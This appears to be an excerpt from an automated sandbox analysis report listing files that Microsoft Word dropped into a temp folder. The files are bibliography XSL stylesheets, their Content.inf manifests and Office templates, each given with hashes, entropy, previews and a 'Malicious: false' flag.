Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Local\Temp\TCD8862.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5280239200222887
Encrypted:	false
SSDEEP:	6:fxnxUXQAl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyllNGHmD0wbnKYZAH/lMZqiv
MD5:	877A8A960B2140E3A0A2752550959DB9
SHA1:	FBEC17B332CBC42F2F16A1A08767623C7955DF48
SHA-256:	FE07084A41CF7DB58B06D2C0D11BCACB603D6574261D1E7EBADCFF85F39AFB47
SHA-512:	B8B660374EC6504B3B5FCC7DAC63AF30A0C9D24306C36B33B33B23186EC96AEFE958A3851FF3BC57FBA72A1334F633A19C0B8D253BB79AA5E5AFE4A247105889
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.b...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD8862.tmp\gb.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD8863.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.523917709458511
Encrypted:	false
SSDEEP:	6:fxnxUXC1l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnySvNGHmD0wbnKYZAH/lMZqiv
MD5:	4A9A2E8DB82C90608C96008A5B6160EF
SHA1:	A49110814D9546B142C132EBB5B9D8A1EC23E2E6
SHA-256:	4FA948EEB075DFCB8DCA773A3F994560C69D275690953625731C4743CD5729F7
SHA-512:	320B9CC860FFBDB0FD2DB7DA7B7B129EEFF3FFB2E4E4820C3FBBFEA64735EB8CFE1F4BB5980302770C0F77FF575825F2D9A8BB59FC80AD4C198789B3D581963B
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.i.c.a.g.o...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD8863.tmp\chicago.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD8864.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.537169234443227
Encrypted:	false
SSDEEP:	6:fxnxUXfQIUA/e/Wl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXZ/eulNGHmD0wbnKYZAH/lMZqiv
MD5:	9C00979164E78E3B890E56BE2DF00666
SHA1:	1FA3C439D214C34168ADF0FBA5184477084A0E51
SHA-256:	21CCB63A82F1E6ACD6BAB6875ABBB37001721675455C746B17529EE793382C7B
SHA-512:	54AC8732C2744B60DA744E54D74A2664658E4257A136ABE886FF21585E8322E028D8243579D131EF4E9A0ABDDA70B4540A051C8B8B60D65C3EC0888FD691B9A7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0.n.m.e.r.i.c.a.l...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD8864.tmp\iso690nmerical.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Local\Temp\TCD888D.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	314
Entropy (8bit):	3.5230842510951934
Encrypted:	false
SSDEEP:	6:fxnxUXJuJaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyZuUw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	F25AC64EC63FA98D9E37782E2E49D6E6
SHA1:	97DD9CFA4A22F5B87F2B53EFA37332A9EF218204
SHA-256:	834046A829D1EA836131B470884905856DBF2C3C136C98ADEEFA0F206F38F8AB
SHA-512:	A0387239CDE98BCDE1668B582B046619C3B3505F9440343DAD22B1B7B9E05F3B74F2AE29E591EC37B6570A0C0E5FE571442873594B0684DDCCB4F6A1B5E10B1F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.e.e.e.2.0.0.6.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD888D.tmp\ieee2006officeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Local\Temp\TCD888E.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.538396048757031
Encrypted:	false
SSDEEP:	6:fxnxUXcel8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyMelNGHmD0wbnKYZAH/lMZqiv
MD5:	149948E41627BE5DC454558E12AF2DA4
SHA1:	DB72388C037F0B638FCD007FAB46C916249720A8
SHA-256:	1B981DC422A042CDDEBE2543C57ED3D468288C20D280FF9A9E2BB4CC8F4776ED
SHA-512:	070B55B305DB48F7A8CD549A5AECF37DE9D6DCD780A5EC546B4BB2165AF4600FA2AF350DDDB48BECCAA3ED954AEE90F5C06C3183310B081F555389060FF4CB01
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .s.i.s.t.0.2...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD888E.tmp\sist02.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD88A0.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5502940710609354
Encrypted:	false
SSDEEP:	6:fxnxUXfQICl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXClNGHmD0wbnKYZAH/lMZqiv
MD5:	9B8D7EFE8A69E41CDC2439C38FE59FAF
SHA1:	034D46BEC5E38E20E56DD905E2CA2F25AF947ED1
SHA-256:	70042F1285C3CD91DDE8D4A424A5948AE8F1551495D8AF4612D59709BEF69DF2
SHA-512:	E50BB0C68A33D35F04C75F05AD4598834FEC7279140B1BB0847FF39D749591B8F2A0C94DA4897AAF6C33C50C1D583A836B0376015851910A77604F8396C7EF3C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD88A0.tmp\iso690.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD88A1.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.464918006641019
Encrypted:	false
SSDEEP:	6:fxnxUXR+EqRGRnRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyB+5RmRGHmD0wbnKYZAH+Vwv
MD5:	93149E194021B37162FD86684ED22401
SHA1:	1B31CAEBE1BBFA529092BE834D3B4AD315A6F8F1
SHA-256:	50BE99A154A6F632D49B04FCEE6BCA4D6B3B4B7C1377A31CE9FB45C462D697B2
SHA-512:	410A7295D470EC85015720B2B4AC592A472ED70A04103D200FA6874BEA6A423AF24766E98E5ACAA3A1DBC32C44E8790E25D4611CD6C0DBFFFE8219D53F33ACA7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.q.u.a.t.i.o.n.s...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCD88A1.tmp\Equations.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Local\Temp\TCD88B2.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5081874837369886
Encrypted:	false
SSDEEP:	6:fxnxUXCOzi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnydONGHmD0wbnKYZAH/lMZqiv
MD5:	8D9B02CC69FA40564E6C781A9CC9E626
SHA1:	352469A1ABB8DA1DC550D7E27924E552B0D39204
SHA-256:	1D4483830710EF4A2CC173C3514A9F4B0ACA6C44DB22729B7BE074D18C625BAE
SHA-512:	8B7DB2AB339DD8085104855F847C48970C2DD32ADB0B8EEA134A64C5CC7DE772615F85D057F4357703B65166C8CF0C06F4F6FD3E60FFC80DA3DD34B16D5B1281
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.n.a.m.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD88B2.tmp\gostname.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Local\Temp\TCD88B3.tmp\BracketList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Local\Temp\TCD88B3.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	250
Entropy (8bit):	3.4916022431157345
Encrypted:	false
SSDEEP:	6:fxnxUXsAl8xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8A8xoGHmD0+dAH/luWvv
MD5:	1A314B08BB9194A41E3794EF54017811
SHA1:	D1E70DB69CA737101524C75E634BB72F969464FF
SHA-256:	9025DD691FCAD181D5FD5952C7AA3728CD8A2CAF20DEA14930876419BED9B379
SHA-512:	AB29C8674A85711EABAE5F9559E9048FE91A2F51EB12D5A46152A310DE59F759DF8C617DA248798A7C20F60E26FBB1B0FC8DB47C46B098BCD26CF8CE78989ACA
Malicious:	false
